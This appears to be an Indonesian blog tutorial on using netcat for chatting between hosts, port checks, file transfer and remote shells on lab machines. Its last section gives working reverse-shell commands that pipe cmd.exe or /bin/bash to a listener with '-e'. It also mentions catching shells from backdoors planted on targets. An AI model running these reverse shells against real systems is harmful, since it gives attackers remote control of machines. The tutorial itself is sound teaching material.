Skip to main content

NETCAT : Tools sederhana yang biasa dipakai pentest.

Netcat atau biasa disebut nc dirilis pada tahun 1995 oleh Hobbit, merupakan sebuah tools jaringan komputer yang digunakan untuk membaca dan menulis jaringan melalui koneksi protokol TCP atau UDP. 

Biasanya di linux nc sudah terinstall, kalau belum kalian install dulu. Kalau di windows, kalian bisa download dari sini https://eternallybored.org/misc/netcat/

Dasarnya, netcat ini digunakan untuk melakukan chat atau komunikasi seseorang yang sedang meremote perangkat A dengan seseorang lainnya yang sedang meremote perangkat B. Misalnya ada dua server yang terhubung ke jaringan dan sedang diremote oleh 2 orang berbeda. 
Salah satu server bertindak netcat server dan satunya bertinda sebagai client. Setelah koneksi netcat tersebut establish, maka bisa saling komunikasi gitu deh.

Disini saya akan mempraktekannya dengan 2 PC, satu linux dan satu Windows. Yang bertindak sebagai server adalah linux.

IP Windows : 10.20.20.2
IP Linux : 10.20.20.204
Pada linux atau nc server : 

$ nc -nlvp 1231

Pada windows atau nc client:

$ nc -nv 10.20.20.204 1231

Kemudian nanti pada server akan muncul line :

connect to [10.20.20.204] from (UNKNOWN) [10.20.20.2] 2942

Kalau sudah muncul seperti itu, tandanya sudah saling terkoneksi nc server dan client. 
Kalian tinggal ketik saja untuk melakukan chatting.
 




 
Netcat juga memiliki fungsi yang lainnya untuk melakukan pentest. Netcat adalah salah satu "original" tools network pentest yang
serbaguna, makanya si author nya ini kasih nama swiss army knife
Netcat ini juga bisa dipakai buat ngecek apakah suatu port  dalam jaringan terbuka atau tidak. Ini digunakan untuk mengetes apakah service pada jaringan berjalan atau tidak, seperti test service http,pop3, dll.

Misalnya saya disini mengetes koneksi telnet server pada switch  di ip 172.26.122.2

$ nc 172.26.122.2 23


Netcat bisa juga berfungsi untuk transfer file antara 2 mesin.
misalnya disini, saya akan melakukan transfer file dari linux ke windows dan sebaliknya.
Intinya, kita harus melakukan koneksi nc server dan client seperti diawal, tetapi ditambahkan tanda "< namafile" untuk mengirim file dan " > namfile" untuk menerima file.

Server dan client bisa mengirim atau menerima. pointnya ada di tanda > atau < pada eksekusi commandnya.
Contoh pengiriman file dari nc client linux ke nc server windows :

di Windows :

nc -nlvp 1232 > terima.txt

di Linux :

$ echo "File ini dikirim dari linux" > file.linux.txt
$ nc 10.20.20.2 1232 < file.linux.txt 
tekan [ctrl + c ] manual jika kira kira sudh diterima

verifikasi di Windows:

more terima.txt
File ini dikirim dari linux

Salah satu fitur keren dari netcat ini, kita bisa remote shell antara mesin. Poin inilah yang biasa dipakai ketika melakukan pentest. 
Biasanya pentester menggunakan nc server di hostnya mereka untuk mendapatkan shell dari backdoor yang telah ditanam di targetnya.

Pada server jalankan nc listener seperti biasa :

$ nc -nlvp 4444

Pada target Windows jalankan nc :

nc -nv 10.20.20.204 4444 -e cmd.exe

maka di nc listener akan menjadi seperti ini :

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.20.20.204] from (UNKNOWN) [10.20.20.2] 25770
Microsoft Windows [Version 10.0.18363.720]
(c) 2019 Microsoft Corporation. All rights reserved.
D:\Chrome Download\netcat-win32-1.12>

Kita bisa menjalankan command windows pada nc server ini.

D:\Chrome Download\netcat-win32-1.12>whoami
whoami
acengcorp\fitrah.sofyan      
D:\Chrome Download\netcat-win32-1.12>

Dengan begini, kita telah mendapatkan shell dari windows. 
Lalu bagaimana kalau untuk linux? Caranya sama saja, jika di windows atribut -e dengan value cmd.exe maka pada nc client linux, atribut -e diikuti dengan /bin/bash atau shell dari si linux itu sendiri.

Pada nc client linux :

$ nc 10.20.20.204 4444 -e /bin/bash 

balik lagi ke nc server dan lakukan command linux seperti biasa.

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33082
whoami
kali 
pwd 
/home/kali

Dengan kata lain, kita telah bisa meremote target mesin dari Linux dan Windows dengan Netcat ini.

Penjelasan Command Netcat diatas :
Penggunaan :

nc [-options] hostname port[s] [ports]

Options :
-l : mode listener atau server
-n : hanya menggunakan IP address, tidak memperbolehkan menggunakan DNS ketika konek
-v : verbose
-p [port] : port yang digunakan (harus sama antara client dan server)
-e [filename] : akan menjalankan [filename] setelah koneksi establish
loading...

Comments

loading...